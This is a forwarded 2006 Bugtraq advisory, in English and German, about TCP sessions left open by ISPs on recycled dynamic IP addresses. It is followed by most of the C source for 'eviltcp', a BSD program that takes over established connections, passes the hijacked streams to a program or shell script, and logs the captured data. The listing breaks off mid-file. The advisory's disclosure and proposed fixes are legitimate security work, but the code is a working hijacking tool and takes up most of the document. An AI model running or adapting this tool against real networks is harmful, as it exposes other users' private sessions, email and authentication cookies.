Consumers of Broadband Providers (ISP) may be open to hijack attacks (fwd)

19 Jul 2006

      ---------- Forwarded message ----------
Date: Sun, 16 Jul 2006 06:36:15 +0200 (CEST)
From: peter_philipp@freenet.de
To: security@heise.de
Cc: bugtraq@securityfocus.com, risks@csl.sri.com, red@heisec.de
Subject: Consumers of Broadband Providers (ISP) may be open to hijack
    attacks

For this risk advisory in german please search down to "D> Deutsche Version".
...
Originator:	Peter Philipp
Organization:  Daemonic Networks
Synopsis:	Consumer of Broadband Providers (ISP) may be open to hijack attacks
Severity:	serious
Priority:	medium
Category:	network security
Class:		systemic flaw
...
Description:
   Some ISP networks do not reset open TCP connections of customers that
were either cut-off by the ISP or cut off by self-initiation.  While it is 
responsibility of every person to terminate every open connection before
link termination, when the ISP initiates this, it cannot be guaranteed.  A 
customer who happens to resume a recycled dynamic IP can then read the 
previous persons open sessions.  With streaming mp3 radio services that work 
on a per-pay basis, this can result in substantial monetary losses, not to 
mention porn streaming.  Further unencrypted email can be read and website 
cookies can be assumed to continue private Web sessions.
How-To-Repeat:
   With a stateful firewall one can determine TCP traffic that has no 
state registered with the firewall and if the TCP flags do not match SYN, 
FIN, or RST, one can assume open connection and continue them.  Interesting
things have been captured, including, IRC chat sessions, HTTP downloads and
POP3 sessions theoretically could also be continued.  Software[1] written for
BSD Unix follows this advisory, that can re-assume open sessions.
Fix:
   After a dynamic customer terminates a broadband connection, network
access servers should terminate any TCP traffic with an RST reply, and give at 
least a minute time for any retransmissions to be caught.  If this is not
wanted by the network architect, perhaps a stateful firewall keeping states
for customers per session.  This is not a good solution though because some
people do not want a firewall between their end-user connection and the open
Internet, their privacy from this should be accepted.  Another security 
programmer that I contacted, suggested that dynamic IP addresses perhaps be 
more static with end-users, but I personally don't think this is a good 
solution either as this puts the anonymity of end-users at stake, and goes
against the philosophy of anonymity that the forefathers of the Internet
thought out.  On the consumers side one can protect themselves by only 
using encrypted communications, as this makes reading of personal data 
difficult.
...
Thank yous:
   Thanks to Daniel Hartmeier for his suggestions on how to remedy this.
...
Anniversaries:
   On this day 12 years ago, in 1994, Comet Shoemaker-Levy 9 first 
touched Jupiter and left considerable scars.  When will humankind realise 
that nature has not ceased being your foe.  Stop wasting resources warring 
each other and prepare against your true enemy, that being nature.  Nature 
will never allow humankind to replace it as humankinds prime enemy.
D> Deutsche Version

D> Bericht von: Peter Philipp
D> Organisation: Daemonic Networks
D> Beschreibung:  Vebraucher von Breitband Provider (ISP) koennten Hijack-Attacken erleben
D> Einstufung:	ernst
D> Prioritaet:	mittel
D> Kategorie:	Netzwerk Sicherung
D> Klasse:	Systematischer Fehler

D> Detailierte Beschreibung:
	Manche ISP Netzwerke terminieren offene TCP Verbindungen nicht, von
Kunden die entweder abgeschnitten vom ISP, oder selbst die Broadband Verbindung 
getrennt haben.  Da es die eigene Verantwortung von jeder Person ist ihre 
eigenen TCP Verbindungen zu trennen, bevor sie ihr Breitband trennen oder den
Computer abschalten,  kann man nichts sagen.  Aber wenn der ISP die Trennung
iniziert ist es die Verantwortung des ISPs die offenen TCP Verbindungen auch
zu trennen.  Ein Kunde der auf einer wiederbenutzten Dynamischen IP Adresse 
stoesst, die offene TCP Verbindungen haelt, kann man die Verbindung weiter 
steuern und Private Daten ablesen.  Mit MP3 Streaming von Online-Radio das 
auf Bezahlung ihre Musik teilt dies kann teuer werden.  Auch mit 
Porn-Streaming.  Weiter koennen unverschluesselte E-Mails gelesen werden und 
Web Cookies koennen Authentifizierte Web Verbindungen uebernehmen and 
Persoenliche Daten koennen gelesen werden.

D> Wie zu wiederholen:
	Mit einer "stateful" Firewall kann man TCP Verbindungen/Packete 
aussortieren die keine registrierten "states" (zustaende) haben und die 
nicht die TCP Flaggen SYN, FIN oder RST besitzen.  Somit kann die 
Verbindung weiter uebernommen werden (TCP Hijack).  Interessante Dinge 
sind schon bereits abgelesen worden waerend der Demo-Software 
Implementierungs Phase, so wie IRC Chat, HTTP Verbindungen und theoretisch 
POP3 Verbindungen die nicht verschluesselt sind.  Software[1] geschrieben 
auf BSD Unix ist am Ende dieser Nachricht angebunden, das diesen Fehler 
ausnuetzt.

D> Behebung:
	Nachdem ein Dynamisch-IP nutzender Kunde die Breitband Verbindung
trennt,  sollten Netzwerk Access Server alle TCP Verbindungen/Packete trennen 
mit einem TCP RST die nach der Trennung noch vom Netz zu der IP fliessen.  
Wenigstens fuer eine Minute sollte kein neuer Kunde die IP Adressen uebernehmen
um zu Garantieren das alle wiederholten TCP Transmissionen 
(engl. retransmissions) abgekuerzt werden koennen.  Falls der angehoerige
Netzwerk Architekt dies nicht bevorzugt fuer was-auch-immer Gruende, koennte
eine Stateful Firewall einzelne Kunden-Verbindungen schuetzen.  Dies ist
nicht geraten da es Komplex ist und nicht die Privatsphaere des Verbrauchers
schuetzt.  Manche Kunden wollen auch keine Firewall zwischen ihnen und dem
offenen Netz, und ihre wuensche sollten akzeptiert werden.  Ein Security
Programmierer mit dem ich Kontakt hatte, schlug vor das vielleicht 
Dynamische IP Adressen des Verbrauchers mehr Statisch gemacht werden, aber
persoenlich denke ich das dies nicht eine Loesung ist.  Es geht gegen die
Internet Philosophie der Anonymitaet.  Und koennte der Privatsphaere eines
Breitband Kundens schaden.  Einzelne Kunden koennen sich schuetzen mit
Verschluesselten Protokollen, da es das lesen Privater Daten erschwert.

D> Dankeschoens:
	Vielen dank zu Daniel Hartmeier fuer seine Hilfe Loesungen zu finden.

D> An diesem Tag:
	An diesem Tag vor 12 Jahren, in 1994, beruehrte der Komet 
Shoemaker-Levy 9 zuerst den Planeten Jupiter und hinterlies betraechtliche
Wunden.  Wann wird die Menschheit einsehen das die Natur, unser eigentlicher 
Feind, nie besiegt wurde.  Stoppt die Verschwenderei von Krieg gegen euch 
selber und macht euch bereit der Natur ins Auge zu sehen, wenn Sie kommt.  
Die Natur wird nie erlauben das der Mensch Sie vergisst als den groessten 
Feind der Menschheit.

[1]

/* 
 * Copyright (c) 2006 Peter Philipp
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 */

/*
 * this is an evil tcp server, it allows taking over states that are already
 * in the established state, based on mytcp
 */

#include <sys/param.h>
#include <sys/socket.h>
#ifdef __OpenBSD__
#include <sys/timeout.h>
#endif
#include <sys/time.h>
#include <sys/wait.h>
#include <sys/sysctl.h>
#include <sys/ioctl.h>
#include <sys/stat.h>

#include <net/if.h>
#include <net/if_tun.h>

#include <net/if_arp.h>
#include <net/ethertypes.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>

#include <netinet/ip.h>
#include <netinet/ip_var.h>
#include <netinet/ip_icmp.h>

#include <netinet/if_ether.h>

#define TCPSTATES
#include <netinet/tcp_fsm.h>
#include <netinet/tcp_timer.h>
#include <netinet/tcp_seq.h>
#include <netinet/tcp.h>

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <pcap.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <pwd.h>

/* #include "pjp.h" */

#ifndef TCPS_RESET
#define	TCPS_RESET	11
#endif

#define POINT_A	"192.168.0.1"
#define POINT_B "192.168.0.2"
#define NETMASK "255.255.255.0"
#define POINT_C	"192.168.1.1"

int schedfin = 0;
int sigpipe = 0;
u_int16_t win = 0x4000;
int blast = 1;
pcap_t *p;			/* unfortunate */
int clogger;			/* XXX */
char *exec_prog = "/bin/date";
const u_int32_t gaf = AF_INET;
char *script = NULL;
int use_script = 0;
char *pointa = POINT_A , *pointb = POINT_B;
char *netmask = NETMASK;
int run_privileged = 0;

u_char mymac[ETHER_ADDR_LEN];
u_char routermac[ETHER_ADDR_LEN];
u_char broadcastmac[ETHER_ADDR_LEN];

in_addr_t myip;
in_addr_t routerip;

extern char **environ;

struct sess {
	int 		raw;		/* XXX */
	int		state;			/* state of socket */
	int		fd;				/* socketpair end */
	u_int16_t	mss;		/* MSS of remote */

	u_int32_t	ack;		/* connection ack */
	u_int32_t	seq;		/* connection seq */
	in_addr_t	remote;		/* remote ip */
	in_addr_t	local;		/* local ip */
	u_short		rport;		/* remote port */
	u_short		lport;		/* local port */
	u_int8_t	ttl;		/* TTL XXX */

	time_t		syntime;	/* replied syn timer */
	time_t		last_used;	/* last time this was used */
	int	sigpipe;			/* received a pipe */

	char *data;				/* data read */

	pid_t child;				/* script child */
	int totallen;				/* total data read */
	int len;				/* data read len */

	struct sess *previous;	/* previous */
	struct sess *next;		/* next */
};

/* prototypes */

u_int16_t ip_cksum(u_int16_t *p, int len);
u_int16_t tcp_cksum(u_int16_t *addr, int len, struct ip *ip);

void handler(int fd, u_char *data, int len, u_char *session);
void reply_arp(int fd, u_char *data, int len);
void synack(struct sess*);
void send_ack(struct sess*, u_int8_t, int);
void onpipe(int);
void onchld(int);
void onalrm(int);
void print_state(int);
void sendfin(struct sess *s);
void get_data(struct sess *, u_char *, int);

int get_ifmtu(char *name);
int clog_port(void);
int send_push(struct sess *, u_int8_t, char *, int);
int set_ip4header(struct ip *ip, struct ip *hints);
int oursocket(struct sess *, struct ip *, struct tcphdr *);
int open_raw(int proto);

u_long inc_seq(u_long seq, int inc);

int open_tunnel(void);
int open_tun(char *name, int len);
int set_tunmode(int fd, int mode);
int check_tundev(int fd);
int del_ifip(char *name, char *ip);
int set_ifip(char *name, char *, char *, int af);
int set_ifpop(char *name, char *point1, char *point2, char *netmask);
short get_ifflags(char *name);
int set_ifflags(char *name, short flags);
int set_ifup(char *name);
int set_ifdown(char *name);
int set_ifmtu(char *name, int mtu);
int get_ifmtu(char *name);
in_addr_t get_ifaddr(char *name);
void reply_icmp(int, char *, int);
void arplookup(int);
int write_frame(int, char *, int);

/* mainly nonsense */

int
main(int argc, char *argv[])
{
	pid_t pid;
	int fd[2];
	int status;
	int logfd;
	char *logfile = "/root/eviltcp.log";

	struct bpf_program bp;
	struct sess SESSION;
	struct sess *init_pcb;
	struct sess *cur_pcb;
	struct sess *tmp_pcb;

	int mode, rlen;
	int i;

	char *interface = "lo0";
	char *buf, *port = "80";
	char *buf2;
	char compile_str[512];
	int mtu;
	int sfd;
	u_char tbuf[2000];
	int len;
	struct in_addr dummy;
	char *safe_data, *p;

	memset(broadcastmac, 0xff, sizeof(broadcastmac));

	while ((i = getopt(argc, argv, "a:b:c:i:l:n:p:r:s:P")) != -1) {
		switch (i) {
		case 'l':
			logfile = optarg;
			break;
		case 'a':
			if (inet_aton(optarg, &dummy) != 1) {
				fprintf(stderr, "flag a: invalid address %s\n", optarg);
				exit(1);
			}
			pointa = optarg;

			myip = inet_addr(pointa);
			mymac[0] = 0;
			memcpy ((char *)&mymac[1], (char *)&myip, sizeof(u_int32_t));
			mymac[5] = 0x1;

			break;
		case 'b':
			if (inet_aton(optarg, &dummy) != 1) {
				fprintf(stderr, "flag b: invalid address %s\n", optarg);
				exit(1);
			}
			pointb = optarg;
			break;
		case 'n':
			if (inet_aton(optarg, &dummy) != 1) {
				fprintf(stderr, "flag n: invalid netmask %s\n", optarg);
				exit(1);
			}
			netmask = optarg;
			break;
		case 'c':
			exec_prog = optarg;
			break;
		case 'i':
			interface = optarg;
			break;
		case 'p':
			port = optarg;
			break;
		case 'r':
			routerip = inet_addr(optarg);
			break;

		case 's':
			script = optarg;
			use_script = 1;
			break;
		case 'P':
			run_privileged = 1;
			break;
		default:
			exit(1);
			break;
		}
	}

	chdir("/");

#if 0
	if ((mtu = get_ifmtu(interface)) < 0 || mtu > 1500)
		mtu = 1500; 		/* set some default */
#endif

	mtu = 1500;

	mtu -= (sizeof(u_int32_t) + sizeof(struct ip) + sizeof(struct tcphdr));

	if ((buf = calloc(1, mtu)) == NULL) {
		perror("calloc");
		exit(1);
	}

	if ((buf2 = calloc(1, mtu)) == NULL) {
		perror("calloc");
		exit(1);
	}

	signal(SIGPIPE, onpipe);
	signal(SIGCHLD, onchld);
	signal(SIGALRM, onalrm);

	memset(&SESSION, 0, sizeof(SESSION));

	sfd = open_tunnel();	

	/* find out our router's MAC address */

	arplookup(sfd);

	/* initialize first pcb's */

	if ((init_pcb = calloc(1, sizeof(struct sess))) == NULL) {
		perror("calloc");
		exit(1);
	}

	init_pcb->state = TCPS_LISTEN;		/* initial in listen state */
	init_pcb->next = NULL;			/* end of chain */

#if 0
	if ((init_pcb->raw = open_raw(IPPROTO_RAW)) < 0) {
		perror("open_raw");
		exit(1);
	}

#endif

	init_pcb->raw = sfd; 
	if (mode = fcntl(sfd, F_GETFL, 0) < 0) 
		perror("fcntl");
	if (fcntl(sfd, F_SETFL, mode | O_NONBLOCK) < 0)
		perror("fcntl");

	daemon(0,0);

	/* mainloop */
	for (;;) {
		for (cur_pcb = init_pcb->previous; cur_pcb != NULL; 
			cur_pcb = cur_pcb->previous) {	

			switch (cur_pcb->state) {
			case TCPS_LISTEN:
				/* NOOP */
				break;
			case TCPS_ESTABLISHED:
				/* do needed processing */
				if (cur_pcb->len > 0) {
#if 0
					printf("writing %d bytes\n", cur_pcb->len);
#endif
					if (use_script) {
						safe_data = malloc(cur_pcb->len);
						if (safe_data != NULL) {
							memcpy(safe_data, cur_pcb->data, cur_pcb->len);
							p = safe_data;

							for (i = 0; i < cur_pcb->len; i++) {
								if (*p == '`' || *p == '$') {
									*p = '.';
								}
								p++;
							}
							errno = 0;
							if (write(cur_pcb->fd, safe_data, cur_pcb->len) < 0) {
								if (errno == EPIPE)
									cur_pcb->sigpipe = 1;

								break;
							}

							free(safe_data);
						}
					} else {
						errno = 0;
						if (write(cur_pcb->fd, cur_pcb->data, cur_pcb->len) < 0) {
							if (errno == EPIPE)
								cur_pcb->sigpipe = 1;

						break;
						}
					}

					logfd = open(logfile, O_CREAT | O_APPEND | O_WRONLY | O_EXLOCK, 0600);
					if (logfd != -1) {
						write(logfd, cur_pcb->data, cur_pcb->len);
						close(logfd);
					}

					/* update our ack as we wrote the data to the application */
					cur_pcb->ack = inc_seq(cur_pcb->ack, cur_pcb->len);
					send_ack(cur_pcb, TH_ACK, cur_pcb->ack); /* XXX */
					cur_pcb->last_used = time(NULL);

					free (cur_pcb->data);
					cur_pcb->data = NULL;
					cur_pcb->totallen += cur_pcb->len;
					cur_pcb->len = 0;
				}

				errno = 0;
				if ((rlen = recv(cur_pcb->fd, buf, mtu, 0)) < 0) {
					if (errno == EWOULDBLOCK) {
#if 0
						printf("blocked on input breaking out\n");
#endif
						break;
					}
					perror("recv");
					break;
				}

				if (rlen == 0) {

					/*
					 * send a fin only if we had written 
				 	 * data before and there ain't nothing 
					 * coming back
					 */
					if (cur_pcb->totallen) {
						/* send fin */
						sendfin(cur_pcb);
						cur_pcb->state = TCPS_FIN_WAIT_1;
#if 0
						printf("pcb %x state now FIN_WAIT_1\n", cur_pcb);
#endif
					}
					break;
				}

				if (recv(cur_pcb->fd, buf2, mtu, MSG_PEEK) == 0) {
#if 0
					printf("peeked and ending conn\n");
#endif
					while (send_push(cur_pcb, TH_FIN, buf, rlen) < 0) 
						;

					cur_pcb->last_used = time(NULL);

					cur_pcb->seq = inc_seq(cur_pcb->seq, rlen);
					cur_pcb->state = TCPS_FIN_WAIT_1;
#if 0
					printf("pcb %x state now FIN_WAIT_1\n", cur_pcb);
#endif
					break;
				}

				/* else */
				while (send_push(cur_pcb, 0, buf, rlen) < 0)
					;
				cur_pcb->seq = inc_seq(cur_pcb->seq, rlen);
				cur_pcb->last_used = time(NULL);

				break;
			case TCPS_FIN_WAIT_1:
				/* active close do nothing */
				break;
			case TCPS_FIN_WAIT_2:
				/* this is another do nothing unfortunately */
				break;
			case TCPS_TIME_WAIT:
				/* we're on the timeout list ignore */
				break;
			case TCPS_CLOSE_WAIT:
				/* we've received a FIN, send ack, send fin */
				/* send ack */
				/* send fin */
				cur_pcb->state = TCPS_LAST_ACK;
#if 0
				printf("pcb %x state now LAST_ACK\n", cur_pcb);
#endif
				break;
			case TCPS_RESET:
				/* send reset */	
				cur_pcb->state = TCPS_CLOSED;
#if 0
				printf("pcb %x state now CLOSED\n", cur_pcb);
#endif
				break;
			case TCPS_CLOSED:
				/* this socket is closed remove it */
				break;
			}
		}

		errno = 0;
		if ((len = read(sfd, tbuf, sizeof(tbuf))) < 0) {
			if (errno != EWOULDBLOCK) 
				perror("read");
			goto end;
		}

		if (len > 0)
			handler(sfd, tbuf, len, (u_char*)init_pcb);

end:
		usleep(500);

		for (cur_pcb = init_pcb->previous; cur_pcb != NULL; 
			cur_pcb = cur_pcb->previous) {	
			time_t now;

			now = time(NULL);

			if (difftime(now, cur_pcb->last_used) >= 300) {

				close(cur_pcb->fd);
				kill(cur_pcb->child, SIGTERM);

				cur_pcb->next->previous = cur_pcb->previous;
				if (cur_pcb->previous != NULL) {

					cur_pcb->previous->next = cur_pcb->next;
					tmp_pcb = cur_pcb;

					cur_pcb = cur_pcb->next;

					free(tmp_pcb);
				} else {
					free(cur_pcb);
					break;
				}
			}
		}

	}

	/* NOTREACHED */
}

void
handler(int sfd, u_char *data, int len, u_char *session)
{
	struct ip *ip;
	struct tcphdr *tcp;
	struct sess *s;
	struct ether_header *eh = (struct ether_header *)data;

	struct sess *init_pcb;
	struct sess *cur_pcb, *next_pcb;

	int optlen;
	int i, raw;
	int mode;
	int fd[2];

	char *prog;

	uid_t uid;
	struct passwd *pw;

	pid_t pid;

#if 0
	printf("in handler\n");
#endif

	s = (struct sess *) session;
	init_pcb = (struct sess *)session;

	raw = s->raw;

	if (ntohs(eh->ether_type) == ETHERTYPE_ARP) {
		reply_arp(sfd, data, len);
		return;
	}

	if (memcmp(broadcastmac, eh->ether_dhost, sizeof(broadcastmac)) == 0 ||
		(eh->ether_dhost[0] & 0x1 == 0x1) || 
		(ntohs(eh->ether_type) != ETHERTYPE_IP )) {
		/* not an ip or arp frame, or destined for broadcast/multicast */
		return;
	}

	data += sizeof(struct ether_header);
	len -= sizeof(struct ether_header);

	if (len < sizeof(struct ip)) {
		return;
	}

#if 0
	printf("recieved packet\n");
	for (i=0; i< len; i++) {
		printf("%02x", data[i] & 0xff);
		if (i && i % 16 == 0)
			printf("\n");
	}
	printf("\n");
#endif

	ip = (struct ip *)data;

	/* IP options not recognized */
	if (ip->ip_hl << 2 != sizeof(struct ip)) 
		return;

	if (ip_cksum((u_int16_t *)ip, sizeof(struct ip)) != 0) 
		return;
	if (ip->ip_v != IPVERSION)
		return;

	if (ip->ip_p == IPPROTO_ICMP) {
		reply_icmp(sfd, data, len);
		return;
	}

	if (ip->ip_p != IPPROTO_TCP) {	
		return;
	}

	data += sizeof(struct ip);
	len -= sizeof(struct ip);

	if (len < sizeof(struct tcphdr))
		return;

	tcp = (struct tcphdr*)data;
	data += sizeof(struct tcphdr);
	len -= sizeof(struct tcphdr);

	/* we only want to process foreign packets, our own is irrelevant */
	if (ip->ip_src.s_addr == s->local && tcp->th_sport == s->lport)
		return;

	/* checksum tcp header */

	if (tcp_cksum((u_int16_t *)tcp, len + sizeof(struct tcphdr), ip) != 0)
		return;

	/* pullup options */

	if ((optlen = ((tcp->th_off << 2) - sizeof(struct tcphdr))) > 0) {
		if (optlen > len)
			return;

		data += optlen;
		len -= optlen;
	}

#if 0
	printf("len now = %d\n", len);
#endif

	/* find corresponding PCB */

	for (cur_pcb = init_pcb; cur_pcb != NULL; cur_pcb = cur_pcb->previous) {
		if (cur_pcb->local == ip->ip_dst.s_addr && 
			cur_pcb->remote == ip->ip_src.s_addr &&
			cur_pcb->lport == tcp->th_dport && 
			cur_pcb->rport == tcp->th_sport) {
			/* we have one such pcb in our list */
			break;
		}
	}

	if (cur_pcb == NULL) {
#if 0
	printf("creating new pcb\n");
#endif
		/* create new pcb and attach at front of chain */
		if ((cur_pcb = calloc(1, sizeof(struct sess))) == NULL) {
			perror("calloc");
			/* oh dear */
		}
		if ((tcp->th_flags & TH_FIN) == TH_FIN || (tcp->th_flags & TH_RST) == TH_RST || (tcp->th_flags & TH_SYN) == TH_SYN) {
			/* send rst, not for us */
			free(cur_pcb);
			return;
		}

		cur_pcb->next = init_pcb;
		cur_pcb->previous = NULL;

		init_pcb->previous = cur_pcb;

		cur_pcb->state = TCPS_ESTABLISHED;
		cur_pcb->local = ip->ip_dst.s_addr;
		cur_pcb->remote = ip->ip_src.s_addr;
		cur_pcb->lport = tcp->th_dport;
		cur_pcb->rport = tcp->th_sport;
		cur_pcb->seq = tcp->th_ack;
		cur_pcb->ack = tcp->th_seq;
		cur_pcb->raw = init_pcb->raw;

		if (socketpair(AF_UNIX, SOCK_STREAM, 0, (int *)&fd) < 0) {
			perror("socketpair");
			return;
		}
		switch (pid = fork()) {
		case -1:
			perror("fork");
			return;
		case 0:
			/* drop privileges */

			pw = getpwnam("nobody");
			if (pw != NULL) {
				uid = pw->pw_uid;
			} else {
				uid = -1;
			}

			if (! run_privileged ) 
				setresuid(uid, uid, uid);

			/* child */
			/* XXX */
			close(fd[0]);

			dup2(fd[1], STDIN_FILENO);
			dup2(fd[1], STDOUT_FILENO);
			close(fd[1]);
			{
				char tbuf[512];
				snprintf(tbuf, sizeof(tbuf), "EVILTCP_TTL=%d", cur_pcb->ttl);
				putenv(tbuf);

				snprintf(tbuf, sizeof(tbuf), "EVILTCP_SRCIP=%s", inet_ntoa(cur_pcb->remote));	
				putenv(tbuf);

				snprintf(tbuf, sizeof(tbuf), "EVILTCP_DSTIP=%s", inet_ntoa(cur_pcb->local));

				putenv(tbuf);

				snprintf(tbuf, sizeof(tbuf), "EVILTCP_SRCPORT=%u", ntohs(cur_pcb->rport));

				putenv(tbuf);

				snprintf(tbuf, sizeof(tbuf), "EVILTCP_DSTPORT=%u", ntohs(cur_pcb->lport));

				putenv(tbuf);

			}

			prog = strrchr(exec_prog, '/');
			prog++;

			if (use_script) {
				execle("/bin/sh", "sh", "-c", script, NULL, environ);
			} else {
				execle(exec_prog, prog, NULL, environ);
			}

			perror("execl");
			exit(1);

		default:
			close(fd[1]);
			cur_pcb->fd = dup(fd[0]);
			cur_pcb->child = pid;
			close(fd[0]);

			if (mode = fcntl(cur_pcb->fd, F_GETFL, 0) < 0) 
				perror("fcntl");
			if (fcntl(cur_pcb->fd, F_SETFL, mode | O_NONBLOCK) < 0)
				perror("fcntl");

			break;
		}

#if 0
		printf("pcb %x state now SYN_RECEIVED\n", cur_pcb);
#endif
		/* init_pcb = cur_pcb; */
#if 0
		return;	/* no need to go further */
#endif
	}

	cur_pcb->last_used = time(NULL);

#if 0
	printf("pcb %x state: ", cur_pcb);
	print_state(cur_pcb->state);
#endif 

	switch (cur_pcb->state) {
	case TCPS_LISTEN:
		break;
	case TCPS_ESTABLISHED:

		if (len <= 0)
			break;

		get_data(cur_pcb, data, len);		/* XXX */

#if 0
		printf("cur_pcb->len = %d\n", cur_pcb->len);
#endif

		break;

	/* 
	 * Remember, any and all packets can come in unordered, XXX
	 * good thing there is retransmissions
	 */
	case TCPS_FIN_WAIT_1:
		if (tcp->th_flags == TH_ACK && 
			tcp->th_ack == inc_seq(cur_pcb->seq, 1)) {
				cur_pcb->seq = inc_seq(cur_pcb->seq, 1);
				cur_pcb->state = TCPS_FIN_WAIT_2;
#if 0
				printf("pcb %x state now FIN_WAIT_2\n", cur_pcb);
#endif
		}

		break;
	case TCPS_FIN_WAIT_2:
		if (tcp->th_flags & (TH_FIN | TH_ACK) != (TH_FIN | TH_ACK)) {
			/* reset ? */
		}

		/* 
		 * XXX, got FIN ack it, this is the only time that we send
		 * any packet in the handler
		 */

	//	cur_pcb->ack = inc_seq(cur_pcb->ack, 1);
		send_ack(cur_pcb, TH_RST, cur_pcb->ack);
		cur_pcb->last_used = time(NULL);

		cur_pcb->state = TCPS_TIME_WAIT;
#if 0
		printf("pcb %x state now TIME_WAIT\n", cur_pcb);
#endif

		break;

	default:
		break;
	}

	return;
}

void
synack(struct sess *s)
{
	send_ack(s, TH_SYN | TH_ACK, inc_seq(s->ack, 1));
	s->last_used = time(NULL);

	return;
}

void
send_ack(struct sess *sess, u_int8_t flags, int inc)
{
	u_char buf[sizeof(struct ip) + sizeof(struct tcphdr)];
	struct ip *new_ip;
	struct ip hints;
	struct tcphdr *new_tcp;
	struct sockaddr_in sin;
	int s;
	int on = 1;
	int i;
	u_int32_t *af;

	s = sess->raw;

#if 0
	af = (u_int32_t *)&buf[0];
	new_ip = (struct ip *)&buf[sizeof(u_int32_t)];
	new_tcp = (struct tcphdr*)&buf[sizeof(u_int32_t) + sizeof(struct ip)];
#endif
	new_ip = (struct ip *)&buf[0];
	new_tcp = (struct tcphdr*)&buf[sizeof(struct ip)];

	memset(buf, 0, sizeof(buf));

	memset(&hints, 0, sizeof(hints));
	hints.ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr));
	hints.ip_p = IPPROTO_TCP;
	hints.ip_src.s_addr = sess->local;
	hints.ip_dst.s_addr = sess->remote;
	set_ip4header(new_ip, &hints);

	new_tcp->th_sport = sess->lport;
	new_tcp->th_dport = sess->rport;
	new_tcp->th_seq = sess->seq;
	new_tcp->th_ack = inc;
	new_tcp->th_off = sizeof(struct tcphdr) >> 2;

	new_tcp->th_flags = TH_ACK | (flags);

	new_tcp->th_win = htons(0x4000);
	new_tcp->th_sum = 0;
	new_tcp->th_urp = 0;

	/* compute checksums? */
	new_tcp->th_sum = tcp_cksum((u_short *)new_tcp, sizeof(struct tcphdr), new_ip);
	new_ip->ip_sum = ip_cksum((u_short *)new_ip, sizeof(struct ip));

	memset((char *)&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = sess->remote;

#if 0
	for (i = 0; i < sizeof(buf); i++) {
		printf("%02x", buf[i] & 0xff);
		if (i && i % 16 == 0) {
			printf("\n");
		}
	}
	printf("\n");
#endif

	if (write_frame(s, buf, sizeof(buf)) < 0) {
		perror("write_frame 1");
	}
}

/*
 * A good idea to disable functionality of a port 
 */

int
clog_port(void)
{
	struct sockaddr_in sin;
	int s;

	s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (s < 0)  {
		perror("socket");
		return -1;
	}

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(80);
	sin.sin_addr.s_addr = inet_addr("172.16.0.2");

	if (bind(s, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
		perror("bind");
		return -1;
	}

	return s;
}

void
print_state(int state)
{
	if (state == TCPS_RESET)
		return;
	printf("state = %s\n", tcpstates[state]);
	return;
}

u_long
inc_seq(u_long seq, int inc)
{
	int _seq;

	_seq = ntohl(seq);
	_seq += inc;
	return(htonl(_seq));
}

void
sendfin(struct sess *sess)
{
	u_char buf[sizeof(struct ip) + sizeof(struct tcphdr)];
	struct ip *new_ip;
	struct ip hints;
	struct tcphdr *new_tcp;
	struct sockaddr_in sin;
	int s;
	int on = 1;
	int i;
	u_int32_t *af;

	s = sess->raw;

#if 0
	af = (u_int32_t *)&buf[0];
	new_ip = (struct ip *)&buf[sizeof(u_int32_t)];
	new_tcp = (struct tcphdr*)&buf[sizeof(u_int32_t) + sizeof(struct ip)];
#endif

	new_ip = (struct ip *)&buf[0];
	new_tcp = (struct tcphdr*)&buf[sizeof(struct ip)];

	memset(buf, 0, sizeof(buf));
	memset(&hints, 0, sizeof(hints));
	hints.ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr));
	hints.ip_p = IPPROTO_TCP;
	hints.ip_src.s_addr = sess->local;
	hints.ip_dst.s_addr = sess->remote;
	set_ip4header(new_ip, &hints);

	new_tcp->th_sport = sess->lport;
	new_tcp->th_dport = sess->rport;
	new_tcp->th_seq = sess->seq;
	new_tcp->th_ack = sess->ack;
	new_tcp->th_off = sizeof(struct tcphdr) >> 2;

	new_tcp->th_flags = TH_FIN | TH_ACK;

	new_tcp->th_win = htons(0x4000);
	new_tcp->th_sum = 0;
	new_tcp->th_urp = 0;

	/* compute checksums? */
	new_tcp->th_sum = tcp_cksum((u_short *)new_tcp, sizeof(struct tcphdr), new_ip);
	new_ip->ip_sum = ip_cksum((u_short *)new_ip, sizeof(struct ip));

	memset((char *)&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;

	if (write_frame(s, buf, sizeof(buf)) < 0) {
		perror("write_frame 2");
	}

}

void
onpipe(int nono)
{
	sigpipe = 0;
}

void
onalrm(int non)
{
		return;	
}

void
onchld(int nono)
{
	int status;

	while (waitpid(0, &status, WNOHANG) > 0)
		;

/*
	sigpipe = 1;
*/
}

int
